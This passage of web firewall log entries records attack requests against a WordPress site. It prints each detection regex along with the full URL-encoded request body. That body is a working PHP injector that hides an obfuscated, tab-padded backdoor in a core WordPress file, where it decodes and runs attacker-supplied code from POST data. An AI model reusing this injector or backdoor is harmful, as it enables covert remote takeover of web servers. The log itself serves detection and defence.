D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:56:56","101.100.3.213","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ul:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524resource%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520do%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524resource%255B%2524b%255D%2529%2520%255E%252035%2529%253B%2524b%252B%252B%253B%257D%2520while%2528%2524b%2520%253C%2520strlen%2528%2524resource%2529%2529%253B%2520for%2520%2528%2524fac%2520%253D%25200%252C%2520%2524pointer%2520%253D%2520count%2528%2524flg%2529%253B%2520%2524fac%2520%253C%2520%2524pointer%253B%2520%2524fac%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524flg%255B%2524fac%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524elem%2529%2529%2520%257B%2520%2524marker%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524elem%252C%2520%2522%257Bvar_dir%257D\/.component%2522%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524entry%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqJjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:4355\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nul=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524resource%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520do%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524resource%255B%2524b%255D%2529%2520%255E%252035%2529%253B%2524b%252B%252B%253B%257D%2520while%2528%2524b%2520%253C%2520strlen%2528%2524resource%2529%2529%253B%2520for%2520%2528%2524fac%2520%253D%25200%252C%2520%2524pointer%2520%253D%2520count%2528%2524flg%2529%253B%2520%2524fac%2520%253C%2520%2524pointer%253B%2520%2524fac%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524flg%255B%2524fac%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524elem%2529%2529%2520%257B%2520%2524marker%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524elem%252C%2520%2522%257Bvar_dir%257D\/.component%2522%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524entry%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:56:59","62.210.185.4","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524resource%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520do%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524resource%255B%2524b%255D%2529%2520%255E%252035%2529%253B%2524b%252B%252B%253B%257D%2520while%2528%2524b%2520%253C%2520strlen%2528%2524resource%2529%2529%253B%2520for%2520%2528%2524fac%2520%253D%25200%252C%2520%2524pointer%2520%253D%2520count%2528%2524flg%2529%253B%2520%2524fac%2520%253C%2520%2524pointer%253B%2520%2524fac%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524flg%255B%2524fac%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524elem%2529%2529%2520%257B%2520%2524marker%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524elem%252C%2520%2522%257Bvar_dir%257D\/.component%2522%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524entry%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnabvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:4355\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\njz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524resource%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520do%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524resource%255B%2524b%255D%2529%2520%255E%252035%2529%253B%2524b%252B%252B%253B%257D%2520while%2528%2524b%2520%253C%2520strlen%2528%2524resource%2529%2529%253B%2520for%2520%2528%2524fac%2520%253D%25200%252C%2520%2524pointer%2520%253D%2520count%2528%2524flg%2529%253B%2520%2524fac%2520%253C%2520%2524pointer%253B%2520%2524fac%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524flg%255B%2524fac%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524elem%2529%2529%2520%257B%2520%2524marker%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524elem%252C%2520%2522%257Bvar_dir%257D\/.component%2522%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524entry%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:57:01","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Tm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524resource%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520do%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524resource%255B%2524b%255D%2529%2520%255E%252035%2529%253B%2524b%252B%252B%253B%257D%2520while%2528%2524b%2520%253C%2520strlen%2528%2524resource%2529%2529%253B%2520for%2520%2528%2524fac%2520%253D%25200%252C%2520%2524pointer%2520%253D%2520count%2528%2524flg%2529%253B%2520%2524fac%2520%253C%2520%2524pointer%253B%2520%2524fac%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524flg%255B%2524fac%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524elem%2529%2529%2520%257B%2520%2524marker%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524elem%252C%2520%2522%257Bvar_dir%257D\/.component%2522%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524entry%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIT0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:4355\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nTm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524resource%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520do%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524resource%255B%2524b%255D%2529%2520%255E%252035%2529%253B%2524b%252B%252B%253B%257D%2520while%2528%2524b%2520%253C%2520strlen%2528%2524resource%2529%2529%253B%2520for%2520%2528%2524fac%2520%253D%25200%252C%2520%2524pointer%2520%253D%2520count%2528%2524flg%2529%253B%2520%2524fac%2520%253C%2520%2524pointer%253B%2520%2524fac%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524flg%255B%2524fac%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524elem%2529%2529%2520%257B%2520%2524marker%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524elem%252C%2520%2522%257Bvar_dir%257D\/.component%2522%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524entry%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
